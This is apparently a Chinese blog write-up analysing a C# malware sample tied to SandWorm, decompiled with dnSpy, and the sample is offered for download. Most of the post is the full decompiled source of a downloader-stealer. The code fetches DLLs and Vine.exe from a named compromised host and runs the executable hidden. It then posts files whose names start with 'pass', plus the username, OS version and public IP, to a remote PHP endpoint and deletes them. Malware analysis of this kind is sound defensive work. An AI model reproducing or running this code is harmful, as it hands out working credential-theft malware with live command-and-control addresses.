Virus_C#_SampleAnalysis

0x1 背景

这几天在做一些小结,除了二进制,也对其他的做点记录,本篇讲C#样本的简单分析.

前几天启明有篇文章讲到了SandWorm样本,漏洞部分也没分析,就跟着文章的描述简单的过了一遍,下载到文章中提到的Down样本.用PEId查壳是 Microsoft Visual C# / Basic .NET,快速的做了分析.

0x2 主角登场

本来该是样本的,但个人感觉dnSpy更牛逼闪闪,话不多说，上图：

注:项目右键:1可以Debug,2可以保存为本地项目(见附件)
ILSpy也可以吧,喜欢的还是他俩.

2.1样本分析

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Net.Http;
using System.Threading.Tasks;

namespace DownloadAndExecute
{
    internal class Program
    {
        private static readonly HttpClient client = new HttpClient();

        private static bool success = false;

        private static int exitCode = 1;

        private static void Main(string[] args)
        {
            Program.DownloadFiles().Wait();
            if (Program.success)
            {
                using (Process process = Process.Start(new ProcessStartInfo
                {
                    FileName = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Vine.exe"),
                    WindowStyle = ProcessWindowStyle.Hidden,
                    WorkingDirectory = Path.GetDirectoryName(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Vine.exe")),
                    CreateNoWindow = true
                }))
                {
                    process.WaitForExit();
                    Program.exitCode = process.ExitCode;
                }
            }
            if (Program.exitCode == 0)
            {
                Program.UploadFiles().Wait();
            }
        }

        private static async Task UploadFiles()
        {
            try
            {
                int num;
                FileInfo[] array;
                int num2;
                if (num > 2)
                {
                    FileInfo[] files = new DirectoryInfo(Path.Combine(new string[]
                    {
                        Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
                    })).GetFiles();
                    array = files;
                    num2 = 0;
                    goto IL_28A;
                }
                IL_70:
                FileInfo fileInfo;
                try
                {
                    string value = File.ReadAllText(fileInfo.FullName);
                    string value2 = await Program.GetExternalIPAddress();
                    FormUrlEncodedContent content = new FormUrlEncodedContent(new Dictionary<string, string>
                    {
                        {
                            "data",
                            "data"
                        },
                        {
                            "username",
                            Environment.UserName
                        },
                        {
                            "os_version",
                            Environment.OSVersion.VersionString
                        },
                        {
                            "file_path",
                            fileInfo.Name
                        },
                        {
                            "public_ip",
                            value2
                        },
                        {
                            "file_content",
                            value
                        }
                    });
                    if (await(await Program.client.PostAsync("http://www.ictcoe.org.et/plugins/system/legacy/core.php", content)).Content.ReadAsStringAsync() == fileInfo.Name)
                    {
                        fileInfo.Delete();
                    }
                    value = null;
                }
                catch (Exception)
                {
                }
                IL_275:
                fileInfo = null;
                num2++;
                IL_28A:
                if (num2 >= array.Length)
                {
                    array = null;
                }
                else
                {
                    fileInfo = array[num2];
                    if (fileInfo.Name.StartsWith("pass"))
                    {
                        goto IL_70;
                    }
                    goto IL_275;
                }
            }
            catch (Exception)
            {
            }
        }

        private static async Task<string> GetExternalIPAddress()
        {
            string result;
            try
            {
                result = (await(await Program.client.GetAsync("http://checkip.dyndns.org")).Content.ReadAsStringAsync()).Split(new char[]
                {
                    ':'
                })[1].Substring(1).Split(new char[]
                {
                    '<'
                })[0];
            }
            catch (Exception)
            {
                result = "";
            }
            return result;
        }

        private static async Task DownloadFiles()
        {
            try
            {
                string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Newtonsoft.Json.dll");
                FileInfo fileInfo = new FileInfo(text);
                if (!fileInfo.Exists)
                {
                    byte[] buffer = await(await Program.client.GetAsync("http://www.ictcoe.org.et/plugins/system/legacy/Newtonsoft.Json.dll")).Content.ReadAsByteArrayAsync();
                    BinaryWriter expr_144 = new BinaryWriter(new FileStream(text, FileMode.Create));
                    expr_144.Write(buffer);
                    expr_144.Close();
                }
                fileInfo = new FileInfo(text);
                Console.WriteLine("Newton soft json dll length is: " + fileInfo.Length);
                string text2 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "System.Data.SQLite.DLL");
                FileInfo fileInfo2 = new FileInfo(text2);
                if (!fileInfo2.Exists)
                {
                    byte[] var_7_27E = await(await Program.client.GetAsync("http://www.ictcoe.org.et/plugins/system/legacy/System.Data.SQLite.DLL")).Content.ReadAsByteArrayAsync();
                    BinaryWriter expr_291 = new BinaryWriter(new FileStream(text2, FileMode.Create));
                    expr_291.Write(var_7_27E);
                    expr_291.Close();
                }
                fileInfo2 = new FileInfo(text2);
                Console.WriteLine("Sqlite dll length is: " + fileInfo2.Length);
                string text3 = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Vine.exe");
                FileInfo fileInfo3 = new FileInfo(text3);
                if (!fileInfo3.Exists)
                {
                    byte[] var_8_3CB = await(await Program.client.GetAsync("http://www.ictcoe.org.et/plugins/system/legacy/Vine.exe")).Content.ReadAsByteArrayAsync();
                    BinaryWriter expr_3DE = new BinaryWriter(new FileStream(text3, FileMode.Create));
                    expr_3DE.Write(var_8_3CB);
                    expr_3DE.Close();
                }
                fileInfo3 = new FileInfo(text3);
                Console.WriteLine("Vine exe length is: " + fileInfo3.Length);
                Program.success = true;
                text = null;
                text2 = null;
                text3 = null;
            }
            catch (Exception)
            {
            }
        }
    }
}

0x3 Sample

Sample-请确认样本只用于测试才下载,其他的我可不负-密码国际惯例

0x4 参考文章

“沙虫”二代来袭，office全线沦陷！